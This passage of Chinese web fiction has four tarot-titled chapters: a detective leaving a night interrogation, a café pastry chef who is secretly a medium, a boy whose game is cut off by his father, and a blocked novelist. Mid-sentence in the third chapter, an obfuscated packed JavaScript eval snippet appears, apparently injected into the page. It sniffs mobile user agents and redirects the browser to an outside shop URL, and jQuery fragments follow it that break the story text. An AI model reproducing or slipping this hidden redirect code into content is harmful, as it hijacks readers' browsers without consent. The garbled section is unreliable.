1.战车


    12月26日。


    丁诺走出看守所大楼时，手表指针刚过凌晨三点，他低头捏了捏眉心，长长地吐出一口气。


    一场硬仗，妈的，一场没完没了的硬仗，他心想，审到后来也不知道是他们熬嫌疑人，还是嫌疑人熬他们。


    天不算特别黑，趁他们突击审讯，雪飘飘扬扬地下了大半夜，给黑夜镀上了一层迷离的银光。大院里狗睡得正香，除了身后大楼传出来的嘈杂，就只有眼前雪落的声音。


    丁诺伸手接了会儿雪花，雪质量不咋地，落在手心里的都是黏在一起的大片冰碴，根本看不出漂亮的六角形来，这种雪打不了雪仗，倒是给通勤带来不少麻烦。


    “老丁，下次准备什么时候审？”身后一个声音问他，一支烟顺势递到他脸跟前，人没到烟味先到，除了他们支队长不做第二人想。


    “尽快吧，别给那货太多思考时间。”丁诺接过烟，但忍住了没点，只是凑到鼻子跟前闻了闻，戒烟的医嘱他近来执行得很彻底，不过，二手烟除外——他旁边，队长早就吞云吐雾上了，好像刚才在监控室里还没抽够似的。


    “三十六拜都过了，就差这最后一哆嗦，别担心，迟早的事儿。”队长拍拍丁诺肩膀，故意凑过来，语气夸张，“我靠，看你这头皮屑，早说了让你用清扬。”


    “滚你妈蛋，那是雪。”丁诺拍开那只手，用上了巧劲，“啪”——清脆得很，队长“操”了一声，抬腿往他屁股上踹了一脚，动作熟练，话更顺溜：“还有力气打人，看来不累，快滚去给车扫雪。”


    丁诺笑笑，抬腿往院里走，车上的雪足有十多公分厚，虽然是虚的，但冰碴子都冻了起来，可没那么好清理。


    队长在原地多站了会儿，深深一口把半截烟都吸进肺里，然后慢慢吐出来，前面，丁诺走得平稳，根本看不出来不久前上厕所还得拄拐杖，一米九多的大老爷们直接瘦得连一百二都不到，风大点都能给他吹散架了，不过，丁诺就是丁诺，到底挺过来了。


    只是他还需要时间，他们都需要时间。


    “呼”——


    一个黑影夹着雪花兜头飞过来，队长劈手接住，低头一看，是块又脏又硬的抹布，还隐隐有股臭味，估计出厂之后就再没碰过干净水，做暗器倒还算合格。


    车旁边，丁诺喊他：“抽完了没？抽完了过来擦玻璃。”一边朝他晃了晃除尘掸子，看起来毫不介意把这个当做下一件武器。


    “真是肉锅里煮汤圆。”队长文雅地评价道，伸指一弹，熄灭的烟头在空中划出一道弧线，不偏不倚落进了垃圾桶。


    雪还在下，不过天亮前就会停。


    下台阶的时候，队长捏起嗓子来了句戏腔：“瑞雪——那个兆丰年呐——”


    2.女祭司


    3月29日，周六。


    “小猫钓鱼”不是猫咖，也不是棋牌室，而是一家咖啡屋，咖啡屋里也真的有一只小猫，但不会钓鱼，只会吃鱼。


    洛芮是这里的甜点师，她的招牌黄油司康比这儿的咖啡更受欢迎，老板在一次次试吃和称赞中一张胖脸越发圆润，这很能说明问题。


    周末一向是咖啡屋最热闹的时候，不过现在时间还太早，猫咪在靠垫上呼呼大睡，忙碌一周的早八人也多半都还在被窝里会周公，但外卖单子已经开始蹭蹭往外冒了。老板睡眼惺忪地把咖啡豆倒进咖啡机顶上的玻璃碗里，先深吸一口豆香续命，这才开始做单。洛芮趁店里没客人选了一首自己喜欢的歌做背景音，简单打扫过卫生，烤好的甜点也放进了玻璃柜里，一切准备就绪。


    就像命运的齿轮轻轻滚动了一下，魔力红乐队唱到“每个人都会受伤，但一切都会好起来”的时候，门口的铃铛“叮铃”一声，顾客来了，今天的第一位。


    “早啊，喝点什么？”老板看到顾客在玻璃柜前晃悠，敏锐地补充，“想吃点啥，招牌黄油司康？”


    “我、我听说这里能算塔罗牌。”顾客犹犹豫豫，道出自己的真实来意，说完为了表示诚意似的，紧跟着补充，“我要一杯咖啡，美式就行，其他不要了。”


    “没问题，算塔罗牌那边请，美式要哪种？SOE？冰滴？还是气泡美式？”老板微笑，他喜欢用算塔罗牌招徕顾客，但不欣赏只为了算牌而来的迷信家伙，不过，既然洛芮能用塔罗牌给他的咖啡屋增添一点招徕客人的神秘特色，还不花他的本钱，又何乐而不为呢？


    “SOE吧，加冰。”


    “没问题，一杯SOE冰美式。洛丽塔，这个帅哥想算塔罗牌，带他去你的专座好吗？”


    洛芮抬头应了一声，每次有人算塔罗牌老板都改口叫她洛丽塔，真是无聊的恶趣味。她看看顾客，年轻得很，头顶挑染了一缕金色，脸上青春痘都还没消干净，估计是个大学生。


    和以往来算塔罗牌的人没什么区别，这个年纪的人，无非是爱情、工作，工作、爱情……等到他们发现新的人生难题，大概已经把信任转移到风水先生身上了。


    洛芮对外以甜点师和塔罗牌师自居，前者她算是名副其实，但后者最多算个幌子，因为，当你有一个秘密要隐藏时，有什么比再加上一层神秘面纱更合适的呢？


    洛芮是个灵媒，至少她自己是这么理解的。


    当她以塔罗牌师洛丽塔的身份带着挑染金毛在专座落座时，很快就感受到了对方的不安和局促，这个年轻的男生很在乎接下来将要发生的一切，这毫无疑问。


    其他的呢？暂时还没有，但等她摸到牌就会有了，洛芮有这个自信，以往每次都是如此。


    “你来洗牌，”洛芮把塔罗牌递给金毛，然后回答他的问题，“怎么洗牌不重要，重要的是要清空杂念，保持心境平和，把这副牌当做你的好朋友，而你现在要向她求助，让她感受到你的真心。好吗？”后几句都是扯淡，不过，对方情绪稳定、注意力集中时她总是能读出更多东西，这一点算是经验之谈。


    “从洗好的牌里选四张牌，然后把它们摆在桌子中间。”洛芮继续说道。


    金毛洗牌的动作生疏得仿佛这辈子没打过扑克，当他用僵硬的手指把牌拨得“哗啦啦”直响时，一张牌不堪折磨似的，“啪”地从里面飞了出来。


    “这、这种情况有什么说法？”金毛停下洗牌的动作，一脸紧张地问。


    说明你洗牌的技巧有待提高，洛芮这么想的时候忍不住微笑，但当她手指碰到那张翻倒扣在桌面上的牌时，笑容忽然消失了。


    “怎么了？怎么了？”金毛的目光在牌和洛芮脸上来回切换，忍不住抢先伸手翻过了牌，立刻也露出一副受惊的表情，“这张牌是死神吧？是张坏牌对不对？它是要警告我什么吗？”


    “塔罗牌不以好坏来分。”洛芮听到自己的声音干巴巴地做出解释，同时，在她的脑袋里，另一个声音回答，不，不是的，它不是想警告金毛。


    这张牌是为她而来的。


    “叮铃”——


    门上的铃铛再次响起。


    第二位顾客走了进来，准确地来说，并不是顾客，而是专程来找她的，毫无疑问。


    空气中仿佛有一股能量在涌动，发现自己是个灵媒以来，这种能力还从未如此强大、清晰过。


    在对方开口前，洛芮就知道她要说什么了。


    3.倒吊者


    6月21日。


    “奇奇，别玩了，吃饭啦！”妈妈的声音在门口响起，音量很高，再隔两道门都能听得清清楚楚。


    “马上，五分钟就好。”回应她的是不耐烦的保证，还有鼠标键盘的“噼里啪啦”声。


    奇奇今年周岁九，虚岁十，一枚根正苗红的小学生是也。


    不过，像很多这个年纪的男孩儿一样，奇奇对学习的兴趣少得可怜，他也不爱户外运动，尤其是最近爸爸妈妈的“小矛盾”爆发后，他更是把所有的注意力都倾注到了心爱的游戏上，史诗级经典游戏，毫无疑问。


    妈妈总指责他沉迷电脑，当然了，因为她惯于只看表象，看电视就是“看死人”，玩电脑就是“玩物丧志”，大人才不会关心小孩子玩什么游戏呢，电脑屏幕里的跳来跳去的人物都是弄坏她儿子视力的“罪魁祸首”，那些闪光和音效？更是百害而无一利。


    这大概不是她的错，因为大人要操心的事又多又无聊，但对于奇奇来说，电脑屏幕对面的世界才更加真实，那些故事才更值得经历。


    “奇奇，你没有五分钟！我要关电源啦。”妈妈在门口下达最后通牒，怒气冲冲，两手叉腰，大概吧，奇奇没回头——游戏正进行到关键时刻呢。


    “知道了！知道了！”奇奇用同样的语气回答，这叫做有其母必有其子，他两眼还牢牢盯着游戏界面，BOSS有回血机制，必须算好时机放大招，节奏才是最重要的。


    “啪——”


    电脑屏幕忽然跳黑了，电流消失前发出微弱的“嘶嘶”声，仿佛垂死的蛇。灯也灭了，几秒之后才再次亮起，空调也跟着恢复，客厅里的冰箱发出“嗡”的一声抗议，任劳任怨地再次运转起来……除了电脑，漆黑的屏幕上只倒映出了奇奇自己的脸，一副目瞪口呆的模样。


    “啊！”奇奇短促地叫了一声，嘴巴张成了圆圆的“O”型，愤怒尚未成型，这时他只感到一股强烈的不真实，仿佛事情发生了绝不该出现的转折，只差一点，真的只差一点了，BOSS只剩最后一丝血皮了。


    他本来已经赢定了。


    怎么这样？奇奇感到泪水涌上眼眶，鼻子里喷出的气热烘烘的，好像他忽然变成了一匹马，如果马也会感到伤心的话。


    重启画面终于跳出电脑屏幕，但为时已晚，一排排白色英文字母冲他徒劳地吼叫着：是否正常启动？


    怎么搞成这样？


    “跟他废什么话？”爸爸这才出现在门口，故意摆出一副威严的怒相，但其实并没多生气，他大概正为行使过家长权力而感到心满意足呢。


    扳电闸不是什么高招，但起效了，不是吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203650|197312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？这小子得知道这家里谁说了算。


    “小兔崽子，别光想着玩，吃饭了，你妈辛苦大半天，你连个碗都不知道端。”这也是老调重弹，但奇奇还没有回头，他的手还放在鼠标和键盘上，仿佛断电前的那一秒对他而言凝固了。


    爸爸闭上了嘴，儿子的反应不在他的预料之内，他犹豫了几秒，决定不能让竖起的权威掉在地上，于是他放缓语气说：“都是个男子汉了，别闹脾气，去洗把脸咱们吃饭了，你妈做了你爱吃的。”


    儿子没说话，但站起来洗脸去了，出门经过他的时候他还伸手扇了儿子后脑勺一巴掌，很轻，完全是在安慰这臭小子。


    都说七岁八岁讨人嫌，怎么都十岁了，还这么爱闹脾气呐。


    爸爸没想到的是，这之后等待他的可远不止一场“小脾气”而已。


    4.愚人


    4月1日。


    关易阳把最后一片奥利奥薄脆塞进嘴里，嚼嚼嚼，嚼嚼嚼，还是一个字都写不出来。


    她试着重读昨晚写过的部分，结果删删改改，字数不增反减。


    樱花味奥利奥饼干残留在后槽牙上，吃的时候明明很甜蜜，这会儿却变得腻腻的，非得用两大口咖啡才能灌下去，酸苦混合着甜腻，那感觉，就跟重读她昨晚制造出来的文字垃圾似的。


    “啪”——


    她沮丧地把笔记本合上，扯过摞在一边的草稿纸，开始在上边画火柴人。


    关易阳是个小说家，不算有名的那种。


    但如果你常年混迹恐怖惊悚小说区，而且口味还不挑剔，那就另当别论。


    这么说算是往脸上贴金，不过用关易阳自己的话来说，故事本身才是最重要的。收入和名气只是额外奖励，而不是衡量故事好坏的标准，就像当年白先勇和好朋友创办《现代文学》一样。再说了，比起前者，她靠自己写的东西多少还能挣些钱。


    单从这个角度来看，写作于她而言还是快乐居多的。


    如果能不卡文就更好了。


    关易阳随手在纸上划拉《爱穿高跟鞋的女特工》的大纲，理清脑袋里乱麻似的思绪，但钢笔出水不顺，细小的纸纤维被笔尖划开，一旁的火柴人染上了支离破碎的蓝色。


    《爱穿高跟鞋的女特工》是关易阳正在写的小说，用编辑的话来说，书名起得一塌糊涂，跟千禧年代的□□昵称似的，题材也太冷门，她原本靠恐怖小说积累起来的读者多半不乐于去读单人版《史密斯夫妇》的，而从连载效果来看，也确实如此。


    一句话总结，这本小说多少让她受到了一些打击。


    不过，抛开进展不顺的故事不谈，关易阳还挺喜欢诺拉·唐的——顺便一提，拿《史密斯夫妇》来对标《爱穿高跟鞋的女特工》，在她听来更像是恭维——不同于关易阳一贯塑造的恐怖小说女主，这位一头红色卷发的姐妹既不神经质，也不爱遇上点事就化身尖叫鸡，尽管比不上安吉丽娜·朱莉，但诺拉·唐能穿着高跟鞋踩着弹力球双摇跳绳，还能轻松撂倒比她重一百多斤的壮汉，再加上一流枪法，谁敢对她说“不”呢？


    另一方面，夜深人静的时候，关易阳躺在被窝里构思故事情节，心底却总忍不住涌起杀死小唐的念头。


    不像恐怖小说里的女主，哪怕再身娇体弱，也总能在一众炮灰助攻下活到最后，冒险小说里如果没有混合了眼泪的鲜血，没有以死亡收场的爱情和背叛，似乎便不足以真正触动读者。


    正如麦克罗夫特·福尔摩斯所说，特工总是以某种更永久的方式退休。不是吗？


    可近来她又觉得，那些念头似乎不完全是她自己的。


    关易阳并不相信哪位作家真能在打字机里养一只替自己写作的福灵，那玩意儿只存在于斯蒂芬·金的小说里，但她的确相信文字自有其力量。


    每一个以写作为生的人都不应该轻视这种力量。


    等关易阳再度集中注意力，纸上的东西早已偏离了小说大纲，也不是手舞足蹈的火柴人，她看到自己用歪歪扭扭的字体写下了斯蒂芬·金的名字，变形子弹之歌，杜马岛，还有黑暗的另一半，之类之类。没错，她喜欢斯蒂芬·金，罪名成立。


    唯一让人略感不安的是这句：养一只福灵。


    它呈竖列攀附在草稿纸边缘，仿佛某种身形瘦长的小动物，“养”字头顶的两点犹如眼睛，带着某种不怀好意的神色，关易阳盯着这句话看的时候，鼻子忽然一热，几滴鼻血落在了纸上。


    倒霉，这就是不开空气加湿器的后果。


    关易阳匆忙抽出几张纸巾堵住鼻子，仰起头用嘴呼吸几下，感到血很快就不再流了，无香型的纸巾染血之后不知为何闻起来像是兑了水的蜂蜜，甜腻腻的。


    最后那张纸巾被团成一团丢进垃圾桶里，草稿纸也被抹得乱七八糟，墨水未干的“福灵”跟血迹糊成了一片，看起来好像“诅咒”。


    蜂蜜味也还在。


    关易阳愣了会儿神，把草稿纸揉成一团，用力扔进了垃圾桶。